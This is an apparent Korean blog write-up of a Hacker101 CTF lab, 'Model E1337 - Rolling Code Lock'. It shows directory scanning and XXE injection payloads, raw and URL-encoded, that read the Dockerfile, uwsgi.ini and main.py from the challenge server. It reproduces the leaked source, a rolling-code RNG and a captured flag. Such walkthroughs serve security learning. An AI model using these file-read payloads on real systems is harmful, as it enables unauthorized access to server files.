본문으로 바로가기

[Hacker101 CTF] Model E1337 - Rolling Code Lock

category Wargame/Hacker101 CTF 2020. 2. 21. 02:47

Model E1337 - Rolling Code Lock (Hard, 7)

Flag0

dirsearch를 돌려보면 /admin 페이지가 보인다.

 

Extensions: html | HTTP method: get | Threads: 4 | Wordlist size: 6030
 
Error Log: /home/syine/repos/dirsearch/logs/errors-20-02-20_18-45-30.log
 
Target: http://34.94.3.143/ab97b1c4d1/
 
[18:45:30] Starting: 
[18:46:16] 200 -    2KB - /ab97b1c4d1/admin
 
Task Completed

 

페이지에 주석으로 get-config를 사용한다는 등의 팁이 적혀 있다. /get-config에서는 XML 형식의 파일을 준다.

/set-config에서 data에 config를 전달해서 값을 수정할 수 있다. XXE Injection으로 파일을 읽어서 플래그를 가져오면 된다.

 

./Dockerfile

 

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY leak SYSTEM "Dockerfile"> ]><config><location>&leak;</location></config>
http://34.94.3.143/ab97b1c4d1/set-config?data=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%3C%21DOCTYPE%20test%20%5B%20%3C%21ENTITY%20leak%20SYSTEM%20%22Dockerfile%22%3E%20%5D%3E%3Cconfig%3E%3Clocation%3E%26leak%3B%3C%2Flocation%3E%3C%2Fconfig%3E

 

FROM jfloff/alpine-python:2.7
 
WORKDIR /app
 
ADD requirements.txt /app/
 
RUN pip install --trusted-host pypi.python.org -r requirements.txt
 
ADD . /app
 
CMD ["bash", "prestart.sh"]
 

 

./uwsgi.ini

 

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY leak SYSTEM "uwsgi.ini"> ]><config><location>&leak;</location></config>
http://34.94.3.143/ab97b1c4d1/set-config?data=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%3C%21DOCTYPE%20test%20%5B%20%3C%21ENTITY%20leak%20SYSTEM%20%22uwsgi%2Eini%22%3E%20%5D%3E%3Cconfig%3E%3Clocation%3E%26leak%3B%3C%2Flocation%3E%3C%2Fconfig%3E

 

[uwsgi]
module = main
callable = app
 

 

./main.py

 

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY leak SYSTEM "main.py"> ]><config><location>&leak;</location></config>
http://34.94.3.143/ab97b1c4d1/set-config?data=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%3C%21DOCTYPE%20test%20%5B%20%3C%21ENTITY%20leak%20SYSTEM%20%22main%2Epy%22%3E%20%5D%3E%3Cconfig%3E%3Clocation%3E%26leak%3B%3C%2Flocation%3E%3C%2Fconfig%3E

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
# from flask import Flask, abort, redirect, request, Response, session from jinja2 import Template import base64, json, os, random, re, subprocess, time, xml.sax from cStringIO import StringIO from rng import * # ^FLAG^09e2250108bbacd441cbeb95eb148d1f91dcdf56db06774a52b830eba4c75b6b$FLAG$ flags = json.loads(os.getenv('FLAGS')) os.unsetenv('FLAGS') app = Flask(__name__) templateCache = {} def render(tpl, **kwargs): if tpl not in templateCache: templateCache[tpl] = Template(file('templates/%s.html' % tpl).read()) return templateCache[tpl].render(**kwargs) @app.after_request def add_header(r): r.headers["Cache-Control"] = "no-cache, no-store, must-revalidate" r.headers["Pragma"] = "no-cache" r.headers["Expires"] = "0" r.headers['Cache-Control'] = 'public, max-age=0' return r @app.route('/') def index(): return render('home') @app.route('/unlock', methods=['POST']) def unlock(): code = int(request.form['code']) cur = next(26) time.sleep(5) if code == cur: return 'Unlocked successfully. Flag: ' + flags[1] else: return 'Code incorrect. Expected %08i' % cur @app.route('/admin') def admin(): return render('admin', location=location) location = 'Front door' @app.route('/get-config') def getConfig(): return '%s' % location class Handler(xml.sax.ContentHandler): def __init__(self): self.location = None def startElement(self, name, attrs): if name == 'location': self.location = '' def endElement(self, name): if name == 'location': global location location = self.location self.location = None def characters(self, content): if self.location is not None: self.location += content @app.route('/set-config') def setConfig(): data = request.args['data'] parser = xml.sax.make_parser() parser.setContentHandler(Handler()) parser.parse(StringIO(data)) return redirect('admin') app.run(host='0.0.0.0', port=80) #

 

Flag: ^FLAG^09e2250108bbacd441cbeb95eb148d1f91dcdf56db06774a52b830eba4c75b6b$FLAG$

 

Flag1

./rng.py 는 아래처럼 생겼다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import random # def setup(seed): global state state = 0 for i in xrange(16): cur = seed & 3 seed >>= 2 state = (state << 4) | ((state & 3) ^ cur) state |= cur << 2 def next(bits): global state ret = 0 for i in xrange(bits): ret <<= 1 ret |= state & 1 state = (state << 1) ^ (state >> 61) state &= 0xFFFFFFFFFFFFFFFF state ^= 0xFFFFFFFFFFFFFFFF for j in xrange(0, 64, 4): cur = (state >> j) & 0xF cur = (cur >> 3) | ((cur >> 2) & 2) | ((cur << 3) & 8) | ((cur << 2) & 4) state ^= cur << j return ret setup((random.randrange(0x10000) << 16) | random.randrange(0x10000)) #

 

 

Reference

https://portswigger.net/web-security/xxe

 

 

 

'Wargame > Hacker101 CTF' 카테고리의 다른 글

[Hacker101 CTF] Petshop Pro  (0) 2020.02.19
[Hacker101 CTF] Ticketastic: Live Instance  (0) 2020.02.19
[Hacker101 CTF] Postbook  (0) 2020.02.19
[Hacker101 CTF] Cody's First Blog  (0) 2020.02.18
[Hacker101 CTF] Photo Gallery  (0) 2020.02.18